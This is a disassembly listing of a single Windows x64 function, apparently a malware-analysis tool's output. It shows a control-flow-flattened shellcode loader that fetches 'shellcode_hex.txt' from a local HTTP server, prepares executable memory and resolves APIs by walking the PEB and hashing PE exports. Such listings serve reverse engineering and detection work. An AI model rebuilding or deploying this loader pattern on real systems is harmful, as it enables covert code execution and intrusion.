Function at 0x140003dc0
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
sub rsp, 0xbb0
lea rbp, [rsp + 0x80]
mov rax, qword [0x140092380]
xor rax, rbp
mov qword [rbp + 0xb28], rax
mov ecx, dword [0x1400952f4]
mov eax, dword [0x1400952f0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x196], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x197], al
mov dword [rbp + 0x190], 0xbe234dd5
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x18c], eax
sub eax, 0x8b78674b
je 0x140003ee4
jmp 0x140003e42
mov eax, dword [rbp + 0x18c]
sub eax, 0xbe234dd5
je 0x140003eb5
jmp 0x140003e58
mov eax, dword [rbp + 0x18c]
sub eax, 0xefd870d9
je 0x140003f98
jmp 0x140003e6e
mov eax, dword [rbp + 0x18c]
sub eax, 0xfaf3c74f
je 0x14000d14a
jmp 0x140003e84
mov eax, dword [rbp + 0x18c]
sub eax, 0x4ab5f85f
je 0x14000d1c9
jmp 0x140003e9a
mov eax, dword [rbp + 0x18c]
sub eax, 0x5893bb5e
je 0x140003fa7
jmp 0x140003eb0
jmp 0x14000d1d3
mov al, byte [rbp + 0x196]
mov cl, byte [rbp + 0x197]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4ab5f85f
mov ecx, 0x8b78674b
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x190], eax
jmp 0x14000d1d3
mov eax, 0x10
mov qword [rbp + 0x180], rax
call fcn.14005d3a0
sub rsp, rax
mov rax, qword [rbp + 0x180]
mov rcx, rsp
mov qword [rbp + 0x198], rcx
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, 0x20
call fcn.14005d3a0
sub rsp, rax
mov rax, qword [rbp + 0x180]
mov rcx, rsp
mov qword [rbp + 0x1a8], rcx
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1400952f4]
mov ecx, dword [0x1400952f0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4ab5f85f
mov ecx, 0xefd870d9
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x190], eax
jmp 0x14000d1d3
mov dword [rbp + 0x190], 0x5893bb5e
jmp 0x14000d1d3
mov eax, 0x10
mov qword [rbp + 0x158], rax
call fcn.14005d3a0
sub rsp, rax
mov rax, qword [rbp + 0x158]
mov rcx, rsp
mov qword [rbp + 0x1b8], rcx
call fcn.14005d3a0
sub rsp, rax
mov rax, qword [rbp + 0x158]
mov rcx, rsp
mov qword [rbp + 0x150], rcx
call fcn.14005d3a0
sub rsp, rax
mov rax, qword [rbp + 0x158]
mov rcx, rsp
mov qword [rbp + 0x168], rcx
call fcn.14005d3a0
sub rsp, rax
mov rax, qword [rbp + 0x158]
mov rcx, rsp
mov qword [rbp + 0x170], rcx
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x198]
mov dword [rax], 0
mov rax, qword [rbp + 0x1a0]
lea rcx, str.http:__127.0.0.1:8000_shellcode_hex.txt
mov qword [rax], rcx
mov rcx, qword [rbp + 0x1a8]
sub rsp, 0x20
call fcn.140011300
add rsp, 0x20
mov rax, qword [rbp + 0x1a0]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x1a8]
sub rsp, 0x20
call fcn.1400027a0
mov rdx, qword [rbp + 0x160]
mov rcx, qword [rbp + 0x168]
add rsp, 0x20
mov r9, rax
mov rax, qword [rbp + 0x170]
mov r8, qword [rbp + 0x1b0]
mov qword [r8], r9
mov dword [rcx], 0x40
mov dword [rax], 0x3000
mov qword [rdx], 0
mov rdx, qword [rbp + 0x1b0]
mov qword [rbp + 0x178], rdx
mov qword [rbp + 0x200], rcx
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x1dc], 0x295de2b7
mov eax, dword [rbp + 0x1dc]
mov dword [rbp + 0x14c], eax
sub eax, 0xaf95cbdb
je 0x140008a3e
jmp 0x1400040f0
mov eax, dword [rbp + 0x14c]
sub eax, 0x295de2b7
je 0x14000414d
jmp 0x140004106
mov eax, dword [rbp + 0x14c]
sub eax, 0x2e627971
je 0x140008a2f
jmp 0x14000411c
mov eax, dword [rbp + 0x14c]
sub eax, 0x5dda40aa
je 0x14000d0c0
jmp 0x140004132
mov eax, dword [rbp + 0x14c]
sub eax, 0x65aac4f8
je 0x14000419f
jmp 0x140004148
jmp 0x14000d0bb
mov eax, dword [0x1400952ec]
mov ecx, dword [0x1400952e8]
mov edx, eax
add edx, 0xf0f47e5d
sub edx, 1
sub edx, 0xf0f47e5d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaf95cbdb
mov ecx, 0x65aac4f8
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x1dc], eax
jmp 0x14000d0bb
mov rax, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x160]
mov rdx, qword [rbp + 0x178]
mov qword [rbp + 0x1f0], rdx
mov qword [rbp + 0x1e8], rcx
mov qword [rbp + 0x1e0], rax
mov rax, rsp
mov qword [rbp + 0x140], rax
mov dword [rbp + 0x21c], 0x4c29e158
mov eax, dword [rbp + 0x21c]
mov dword [rbp + 0x13c], eax
sub eax, 0x83aae8bc
je 0x140007379
jmp 0x1400041f9
mov eax, dword [rbp + 0x13c]
sub eax, 0x84a00130
je 0x140008393
jmp 0x14000420f
mov eax, dword [rbp + 0x13c]
sub eax, 0x854da01f
je 0x140005ef9
jmp 0x140004225
mov eax, dword [rbp + 0x13c]
sub eax, 0x8783e275
je 0x140006dd7
jmp 0x14000423b
mov eax, dword [rbp + 0x13c]
sub eax, 0xa7b5d419
je 0x140007438
jmp 0x140004251
mov eax, dword [rbp + 0x13c]
sub eax, 0xae112217
je 0x140008985
jmp 0x140004267
mov eax, dword [rbp + 0x13c]
sub eax, 0xafa565de
je 0x14000562a
jmp 0x14000427d
mov eax, dword [rbp + 0x13c]
sub eax, 0xb7d3f55c
je 0x140005639
jmp 0x140004293
mov eax, dword [rbp + 0x13c]
sub eax, 0xbe23be7b
je 0x140006cfe
jmp 0x1400042a9
mov eax, dword [rbp + 0x13c]
sub eax, 0xc4a2f11e
je 0x14000703e
jmp 0x1400042bf
mov eax, dword [rbp + 0x13c]
sub eax, 0xc4cfb1ac
je 0x14000706a
jmp 0x1400042d5
mov eax, dword [rbp + 0x13c]
sub eax, 0xc54ee98b
je 0x14000736a
jmp 0x1400042eb
mov eax, dword [rbp + 0x13c]
sub eax, 0xc6364616
je 0x140005648
jmp 0x140004301
mov eax, dword [rbp + 0x13c]
sub eax, 0xcaca0454
je 0x140007499
jmp 0x140004317
mov eax, dword [rbp + 0x13c]
sub eax, 0xcda30ed4
je 0x1400070e9
jmp 0x14000432d
mov eax, dword [rbp + 0x13c]
sub eax, 0xd9e21ca1
je 0x140006db6
jmp 0x140004343
mov eax, dword [rbp + 0x13c]
sub eax, 0xe1905ae1
je 0x140005e75
jmp 0x140004359
mov eax, dword [rbp + 0x13c]
sub eax, 0xe242ec44
je 0x14000837d
jmp 0x14000436f
mov eax, dword [rbp + 0x13c]
sub eax, 0xe3229600
je 0x140005d04
jmp 0x140004385
mov eax, dword [rbp + 0x13c]
sub eax, 0xe3773693
je 0x140005ffd
jmp 0x14000439b
mov eax, dword [rbp + 0x13c]
sub eax, 0xe392403d
je 0x14000631b
jmp 0x1400043b1
mov eax, dword [rbp + 0x13c]
sub eax, 0xe7954122
je 0x140005669
jmp 0x1400043c7
mov eax, dword [rbp + 0x13c]
sub eax, 0xf4af3fa9
je 0x140005dc2
jmp 0x1400043dd
mov eax, dword [rbp + 0x13c]
sub eax, 0xf84fcbd8
je 0x14000739a
jmp 0x1400043f3
mov eax, dword [rbp + 0x13c]
sub eax, 0xfc150a5e
je 0x140005da4
jmp 0x140004409
mov eax, dword [rbp + 0x13c]
sub eax, 0xfd9f4854
je 0x14000630c
jmp 0x14000441f
mov eax, dword [rbp + 0x13c]
sub eax, 0x1db34af
je 0x14000874f
jmp 0x140004435
mov eax, dword [rbp + 0x13c]
sub eax, 0x6fa8f4a
je 0x140005e14
jmp 0x14000444b
mov eax, dword [rbp + 0x13c]
sub eax, 0xe713f06
je 0x140006e5b
jmp 0x140004461
mov eax, dword [rbp + 0x13c]
sub eax, 0x11dd70bd
je 0x140007097
jmp 0x140004477
mov eax, dword [rbp + 0x13c]
sub eax, 0x13218490
je 0x140005c0d
jmp 0x14000448d
mov eax, dword [rbp + 0x13c]
sub eax, 0x1ff79b96
je 0x140005f8c
jmp 0x1400044a3
mov eax, dword [rbp + 0x13c]
sub eax, 0x242e32b5
je 0x140005f9b
jmp 0x1400044b9
mov eax, dword [rbp + 0x13c]
sub eax, 0x25bdbd6b
je 0x140006d4b
jmp 0x1400044cf
mov eax, dword [rbp + 0x13c]
sub eax, 0x2bbd5ba8
je 0x140005e66
jmp 0x1400044e5
mov eax, dword [rbp + 0x13c]
sub eax, 0x3086b8a3
je 0x1400073b4
jmp 0x1400044fb
mov eax, dword [rbp + 0x13c]
sub eax, 0x33e3b6d9
je 0x140007079
jmp 0x140004511
mov eax, dword [rbp + 0x13c]
sub eax, 0x41d85520
je 0x140005fdc
jmp 0x140004527
mov eax, dword [rbp + 0x13c]
sub eax, 0x42fe6d0d
je 0x140008976
jmp 0x14000453d
mov eax, dword [rbp + 0x13c]
sub eax, 0x44879a6a
je 0x14000836e
jmp 0x140004553
mov eax, dword [rbp + 0x13c]
sub eax, 0x480f306a
je 0x1400046fa
jmp 0x140004569
mov eax, dword [rbp + 0x13c]
sub eax, 0x4b875680
je 0x14000705b
jmp 0x14000457f
mov eax, dword [rbp + 0x13c]
sub eax, 0x4c29e158
je 0x140004676
jmp 0x140004595
mov eax, dword [rbp + 0x13c]
sub eax, 0x4d73e031
je 0x140006081
jmp 0x1400045ab
mov eax, dword [rbp + 0x13c]
sub eax, 0x512ba151
je 0x14000835f
jmp 0x1400045c1
mov eax, dword [rbp + 0x13c]
sub eax, 0x51bd58ea
je 0x140005ce3
jmp 0x1400045d7
mov eax, dword [rbp + 0x13c]
sub eax, 0x5340d306
je 0x1400074b6
jmp 0x1400045ed
mov eax, dword [rbp + 0x13c]
sub eax, 0x53eddbc3
je 0x14000860f
jmp 0x140004603
mov eax, dword [rbp + 0x13c]
sub eax, 0x5db1c5dd
je 0x14000702f
jmp 0x140004619
mov eax, dword [rbp + 0x13c]
sub eax, 0x625a7d38
je 0x140007088
jmp 0x14000462f
mov eax, dword [rbp + 0x13c]
sub eax, 0x6e732d6c
je 0x14000748a
jmp 0x140004645
mov eax, dword [rbp + 0x13c]
sub eax, 0x6ef1cf86
je 0x14000862a
jmp 0x14000465b
mov eax, dword [rbp + 0x13c]
sub eax, 0x7f7a4d1e
je 0x140005c91
jmp 0x140004671
jmp 0x140008980
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0x29891d50
sub edx, 1
sub edx, 0x29891d50
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5340d306
mov ecx, 0x480f306a
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0xb00]
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x348], rax
mov dword [rbp + 0x33c], 0xe677f171
mov eax, dword [rbp + 0x33c]
mov dword [rbp + 0x138], eax
sub eax, 0xe677f171
je 0x14000476e
jmp 0x140004753
mov eax, dword [rbp + 0x138]
sub eax, 0x3603bf19
je 0x1400055c0
jmp 0x140004769
jmp 0x1400055bb
mov rax, qword [rbp + 0x348]
mov qword [rbp + 0x350], rax
mov ecx, dword [0x1400952dc]
mov eax, dword [0x1400952d8]
mov edx, ecx
sub edx, 0x309300d3
sub edx, 1
add edx, 0x309300d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x71e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x71f], al
mov dword [rbp + 0x718], 0xcf21515d
mov eax, dword [rbp + 0x718]
mov dword [rbp + 0x134], eax
sub eax, 0xaa108aca
je 0x140004fb4
jmp 0x1400047e2
mov eax, dword [rbp + 0x134]
sub eax, 0xcbbc280b
je 0x1400055a3
jmp 0x1400047f8
mov eax, dword [rbp + 0x134]
sub eax, 0xcf21515d
je 0x140004855
jmp 0x14000480e
mov eax, dword [rbp + 0x134]
sub eax, 0xd5f4819f
je 0x140004fd4
jmp 0x140004824
mov eax, dword [rbp + 0x134]
sub eax, 0x1e7fa646
je 0x140004fa5
jmp 0x14000483a
mov eax, dword [rbp + 0x134]
sub eax, 0x6592ea6f
je 0x1400048b6
jmp 0x140004850
jmp 0x14000559e
mov r11b, byte [rbp + 0x71e]
mov r10b, byte [rbp + 0x71f]
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd5f4819f
mov ecx, 0x6592ea6f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x718], eax
jmp 0x14000559e
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
mov edx, ecx
sub edx, 0x48b4d58a
sub edx, 1
add edx, 0x48b4d58a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x7c6], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x7c7], al
mov dword [rbp + 0x7c0], 0xa48de835
mov eax, dword [rbp + 0x7c0]
mov dword [rbp + 0x130], eax
sub eax, 0x9c2b8150
je 0x140004cd6
jmp 0x14000491c
mov eax, dword [rbp + 0x130]
sub eax, 0xa48de835
je 0x1400049d1
jmp 0x140004932
mov eax, dword [rbp + 0x130]
sub eax, 0xb0fd7152
je 0x140004f00
jmp 0x140004948
mov eax, dword [rbp + 0x130]
sub eax, 0xda39901f
je 0x140004d23
jmp 0x14000495e
mov eax, dword [rbp + 0x130]
sub eax, 0xf031f05e
je 0x140004c22
jmp 0x140004974
mov eax, dword [rbp + 0x130]
sub eax, 0x7c7b1c5
je 0x140004c31
jmp 0x14000498a
mov eax, dword [rbp + 0x130]
sub eax, 0x1bd868cb
je 0x140004a00
jmp 0x1400049a0
mov eax, dword [rbp + 0x130]
sub eax, 0x2380b7d9
je 0x140004c52
jmp 0x1400049b6
mov al, byte [rbp + 0x7c6]
mov cl, byte [rbp + 0x7c7]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0x1bd868cb
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7c0], eax
jmp 0x140004f0a
mov rax, qword gs:[0x60]
mov qword [rbp + 0x8b8], rax
mov dword [rbp + 0x8b4], 0x830227b9
mov eax, dword [rbp + 0x8b4]
mov dword [rbp + 0x12c], eax
sub eax, 0x830227b9
je 0x140004a93
jmp 0x140004a36
mov eax, dword [rbp + 0x12c]
sub eax, 0xb907d830
je 0x140004ab0
mov rax, qword [rbp + 0x8b8]
mov qword [rbp + 0x8c0], rax
mov dword [rbp + 0x8b4], 0xb907d830
jmp 0x140004b8b
jmp 0x140004a1a
mov dword [rbp + 0x7c0], 0x7c7b1c5
jmp 0x140004f0a
mov rax, qword [rbp + 0x7c8]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x7d0], rax
mov dword [rbp + 0x7c0], 0x2380b7d9
jmp 0x140004f0a
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
mov edx, ecx
sub edx, 0x93b406de
sub edx, 1
add edx, 0x93b406de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x9c2b8150
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7c0], eax
jmp 0x140004f0a
mov eax, dword [0x1400952d4]
mov ecx, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x58729e44
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7c0], eax
jmp 0x140004f0a
mov rax, qword gs:[0x60]
mov qword [rbp + 0x8d0], rax
mov dword [rbp + 0x8cc], 0x830227b9
mov eax, dword [rbp + 0x8cc]
mov dword [rbp + 0x128], eax
sub eax, 0x830227b9
je 0x140004db6
jmp 0x140004d59
mov eax, dword [rbp + 0x128]
sub eax, 0xb907d830
je 0x140004dd3
jmp 0x140004d6f
mov eax, dword [rbp + 0x128]
sub eax, 0xc6dbba3f
je 0x140004e57
jmp 0x140004d85
mov eax, dword [rbp + 0x128]
sub eax, 0xcbd43faa
je 0x140004edb
jmp 0x140004d9b
mov eax, dword [rbp + 0x128]
sub eax, 0xe6a730b5
je 0x140004eea
mov rax, qword [rbp + 0x8d0]
mov qword [rbp + 0x8d8], rax
mov dword [rbp + 0x8cc], 0xb907d830
jmp 0x140004ee5
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
mov edx, ecx
add edx, 0xfcd15f7f
sub edx, 1
sub edx, 0xfcd15f7f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xc6dbba3f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x8cc], eax
jmp 0x140004ee5
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
mov edx, ecx
sub edx, 0xa9435c67
sub edx, 1
add edx, 0xa9435c67
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xe6a730b5
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x8cc], eax
jmp 0x140004ee5
mov dword [rbp + 0x8cc], 0xc6dbba3f
jmp 0x140004d3d
mov dword [rbp + 0x7c0], 0x9c2b8150
jmp 0x140004900
mov dword [rbp + 0x718], 0xaa108aca
jmp 0x14000559e
mov rax, qword [rbp + 0x720]
mov rax, qword [rax]
mov qword [rbp + 0x728], rax
mov dword [rbp + 0x718], 0xcbbc280b
jmp 0x14000559e
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x7de], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x7df], al
mov dword [rbp + 0x7d8], 0xa48de835
mov eax, dword [rbp + 0x7d8]
mov dword [rbp + 0x124], eax
sub eax, 0x9c2b8150
je 0x140005386
jmp 0x140005035
mov eax, dword [rbp + 0x124]
sub eax, 0xa48de835
je 0x1400050ea
jmp 0x14000504b
mov eax, dword [rbp + 0x124]
sub eax, 0xb0fd7152
je 0x14000557e
jmp 0x140005061
mov eax, dword [rbp + 0x124]
sub eax, 0xda39901f
je 0x1400053d8
jmp 0x140005077
mov eax, dword [rbp + 0x124]
sub eax, 0xf031f05e
je 0x140005309
jmp 0x14000508d
mov eax, dword [rbp + 0x124]
sub eax, 0x7c7b1c5
je 0x140005318
jmp 0x1400050a3
mov eax, dword [rbp + 0x124]
sub eax, 0x1bd868cb
je 0x140005119
jmp 0x1400050b9
mov eax, dword [rbp + 0x124]
sub eax, 0x2380b7d9
je 0x140005339
jmp 0x1400050cf
mov eax, dword [rbp + 0x124]
sub eax, 0x58729e44
je 0x14000558d
jmp 0x1400050e5
jmp 0x140005588
mov al, byte [rbp + 0x7de]
mov cl, byte [rbp + 0x7df]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0x1bd868cb
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7d8], eax
jmp 0x140005588
mov rax, qword gs:[0x60]
mov qword [rbp + 0x888], rax
mov dword [rbp + 0x884], 0x830227b9
mov eax, dword [rbp + 0x884]
mov dword [rbp + 0x120], eax
sub eax, 0x830227b9
je 0x1400051ac
jmp 0x14000514f
mov eax, dword [rbp + 0x120]
sub eax, 0xb907d830
je 0x1400051c9
jmp 0x140005165
mov eax, dword [rbp + 0x120]
sub eax, 0xc6dbba3f
je 0x140005216
jmp 0x14000517b
mov eax, dword [rbp + 0x120]
sub eax, 0xcbd43faa
je 0x140005268
mov rax, qword [rbp + 0x888]
mov qword [rbp + 0x890], rax
mov dword [rbp + 0x884], 0xb907d830
jmp 0x140005272
mov eax, dword [0x1400952cc]
mov ecx, dword [0x1400952c8]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xc6dbba3f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x884], eax
jmp 0x140005272
mov eax, dword [0x1400952cc]
mov ecx, dword [0x1400952c8]
mov edx, eax
add edx, 0xab8f0863
sub edx, 1
sub edx, 0xab8f0863
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xe6a730b5
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x884], eax
jmp 0x140005272
jmp 0x140005133
mov dword [rbp + 0x7d8], 0x7c7b1c5
jmp 0x140005588
mov rax, qword [rbp + 0x7e0]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x7d8], 0x2380b7d9
jmp 0x140005588
mov eax, dword [0x1400952d4]
mov ecx, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x9c2b8150
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7d8], eax
jmp 0x140005588
mov eax, dword [0x1400952d4]
mov ecx, dword [0x1400952d0]
mov edx, eax
add edx, 0x10e59fd5
sub edx, 1
sub edx, 0x10e59fd5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x58729e44
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7d8], eax
jmp 0x140005588
mov rax, qword gs:[0x60]
mov qword [rbp + 0x8a0], rax
mov dword [rbp + 0x89c], 0x830227b9
mov eax, dword [rbp + 0x89c]
mov dword [rbp + 0x11c], eax
sub eax, 0x830227b9
je 0x14000546b
jmp 0x14000540e
mov eax, dword [rbp + 0x11c]
sub eax, 0xb907d830
je 0x140005488
jmp 0x140005424
mov eax, dword [rbp + 0x11c]
sub eax, 0xc6dbba3f
je 0x1400054d5
jmp 0x14000543a
mov eax, dword [rbp + 0x11c]
sub eax, 0xcbd43faa
je 0x140005559
jmp 0x140005450
mov eax, dword [rbp + 0x11c]
sub eax, 0xe6a730b5
je 0x140005568
jmp 0x140005466
jmp 0x140005563
mov rax, qword [rbp + 0x8a0]
mov qword [rbp + 0x8a8], rax
mov dword [rbp + 0x89c], 0xb907d830
jmp 0x140005563
mov eax, dword [0x1400952cc]
mov ecx, dword [0x1400952c8]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xc6dbba3f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x89c], eax
jmp 0x140005563
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
mov edx, ecx
sub edx, 0xa5dcc19
sub edx, 1
add edx, 0xa5dcc19
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xe6a730b5
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x89c], eax
jmp 0x140005563
mov dword [rbp + 0x89c], 0xc6dbba3f
jmp 0x1400053f2
mov rax, qword [rbp + 0x8a8]
mov dword [rbp + 0x7d8], 0x1bd868cb
jmp 0x140005588
mov dword [rbp + 0x7d8], 0x9c2b8150
jmp 0x140005019
mov rax, qword [rbp + 0x7e8]
mov dword [rbp + 0x718], 0x6592ea6f
jmp 0x1400047c6
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0x358], rax
mov dword [rbp + 0x33c], 0x3603bf19
jmp 0x140004737
mov rax, qword [rbp + 0x350]
mov rcx, qword [rbp + 0x358]
mov qword [rax], rcx
mov rax, qword [rbp + 0x348]
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
add edx, 0x5cc0197a
sub edx, 1
sub edx, 0x5cc0197a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5340d306
mov ecx, 0xafa565de
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dword [rbp + 0x21c], 0xb7d3f55c
jmp 0x140008980
mov dword [rbp + 0x21c], 0xc6364616
jmp 0x140008980
mov rax, qword [rbp + 0xb00]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x230], rax
mov dword [rbp + 0x21c], 0xe7954122
jmp 0x140008980
mov rax, qword [rbp + 0x230]
mov qword [rbp + 0x108], rax
mov rax, rsp
mov qword [rbp + 0x110], rax
mov dword [rbp + 0x3b4], 0x97412bee
mov eax, dword [rbp + 0x3b4]
mov dword [rbp + 0x104], eax
sub eax, 0x97412bee
je 0x140005704
jmp 0x1400056a7
mov eax, dword [rbp + 0x104]
sub eax, 0x1155d3a3
je 0x140005754
jmp 0x1400056bd
mov eax, dword [rbp + 0x104]
sub eax, 0x2b617b65
je 0x1400057a6
jmp 0x1400056d3
mov eax, dword [rbp + 0x104]
sub eax, 0x3b3d1822
je 0x1400059e3
jmp 0x1400056e9
mov eax, dword [rbp + 0x104]
sub eax, 0x4b2b96ad
je 0x1400058e6
jmp 0x1400056ff
jmp 0x1400059de
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, qword [rbp + 0x108]
mov rcx, rsp
mov qword [rbp + 0x3c8], rcx
mov qword [rbp + 0x3c0], rax
lea rax, [rbp + 0xae8]
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x3d0], rax
mov dword [rbp + 0x3b4], 0x1155d3a3
jmp 0x1400059de
mov eax, dword [0x1400952c4]
mov ecx, dword [0x1400952c0]
mov edx, eax
sub edx, 0x3eb72513
sub edx, 1
add edx, 0x3eb72513
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
